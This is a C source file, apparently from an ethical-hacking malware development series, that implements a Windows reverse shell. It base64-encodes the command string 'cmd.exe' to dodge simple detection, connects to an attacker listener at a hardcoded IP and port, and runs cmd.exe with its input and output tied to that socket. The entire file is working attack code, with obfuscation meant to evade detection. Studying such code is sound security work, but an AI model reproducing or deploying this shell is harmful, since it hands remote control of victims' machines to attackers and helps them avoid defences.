/*
 * Malware Development for Ethical Hackers
 * hack.c
 * windows reverse shell with 
 * string encoding via base64
 * author: @cocomelonc
*/
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

WSADATA wsaData;
SOCKET wSock;
struct sockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;

static char encodingChars[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
                'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
                'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
                'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
                'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
                'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
                'w', 'x', 'y', 'z', '0', '1', '2', '3',
                '4', '5', '6', '7', '8', '9', '+', '/'};
static char *decodingTable = NULL;
static int modTable[] = {0, 2, 1};

void createDecodingTable() {
  decodingTable = (char*)malloc(256);
  for (int i = 0; i < 64; i++)
    decodingTable[(unsigned char) encodingChars[i]] = i;
}

void cleanUpBase64() {
  free(decodingTable);
}

char *encodeBase64(const unsigned char *data,
           size_t inputLength,
           size_t *outputLength) {
  *outputLength = 4 * ((inputLength + 2) / 3);
  char *encodedData = (char*)malloc(*outputLength);
  if (encodedData == NULL) return NULL;

  for (int i = 0, j = 0; i < inputLength;) {
    unsigned int octetA = i < inputLength ? (unsigned char)data[i++] : 0;
    unsigned int octetB = i < inputLength ? (unsigned char)data[i++] : 0;
    unsigned int octetC = i < inputLength ? (unsigned char)data[i++] : 0;

    unsigned int triple = (octetA << 0x10) + (octetB << 0x08) + octetC;

    encodedData[j++] = encodingChars[(triple >> 3 * 6) & 0x3F];
    encodedData[j++] = encodingChars[(triple >> 2 * 6) & 0x3F];
    encodedData[j++] = encodingChars[(triple >> 1 * 6) & 0x3F];
    encodedData[j++] = encodingChars[(triple >> 0 * 6) & 0x3F];
  }

  for (int i = 0; i < modTable[inputLength % 3]; i++)
    encodedData[*outputLength - 1 - i] = '=';

  return encodedData;
}

unsigned char *decodeBase64(const char *data,
              size_t inputLength,
              size_t *outputLength) {
  if (decodingTable == NULL) createDecodingTable();
  if (inputLength % 4 != 0) return NULL;

  *outputLength = inputLength / 4 * 3;
  if (data[inputLength - 1] == '=') (*outputLength)--;
  if (data[inputLength - 2] == '=') (*outputLength)--;

  unsigned char *decodedData = (unsigned char*)malloc(*outputLength);
  if (decodedData == NULL) return NULL;

  for (int i = 0, j = 0; i < inputLength;) {
    unsigned int sextetA = data[i] == '=' ? 0 & i++ : decodingTable[data[i++]];
    unsigned int sextetB = data[i] == '=' ? 0 & i++ : decodingTable[data[i++]];
    unsigned int sextetC = data[i] == '=' ? 0 & i++ : decodingTable[data[i++]];
    unsigned int sextetD = data[i] == '=' ? 0 & i++ : decodingTable[data[i++]];

    unsigned int triple = (sextetA << 3 * 6) + (sextetB << 2 * 6) + (sextetC << 1 * 6) + (sextetD << 0 * 6);

    if (j < *outputLength) decodedData[j++] = (triple >> 2 * 8) & 0xFF;
    if (j < *outputLength) decodedData[j++] = (triple >> 1 * 8) & 0xFF;
    if (j < *outputLength) decodedData[j++] = (triple >> 0 * 8) & 0xFF;
  }

  return decodedData;
}


int main(int argc, char *argv[]) {
  // listener ip, port on attacker's machine
  char *ip = "10.10.1.5";
  short port = 4444;

  // Base64 encoded string
  char command[] = "Y21kLmV4ZQ==";

  // Decode the Base64 string
  size_t decodeSize = strlen(command);
  char * decodedCmd = (char*)decodeBase64(command, decodeSize, &decodeSize);

  // init socket lib
  WSAStartup(MAKEWORD(2, 2), &wsaData);

  // create socket
  wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);

  hax.sin_family = AF_INET;
  hax.sin_port = htons(port);
  hax.sin_addr.s_addr = inet_addr(ip);

  // connect to remote host
  WSAConnect(wSock, (SOCKADDR *)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

  memset(&sui, 0, sizeof(sui));
  sui.cb = sizeof(sui);
  sui.dwFlags = STARTF_USESTDHANDLES;
  sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)wSock;

  // start the decoded command with redirected streams
  CreateProcess(NULL, decodedCmd, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
  exit(0);
}
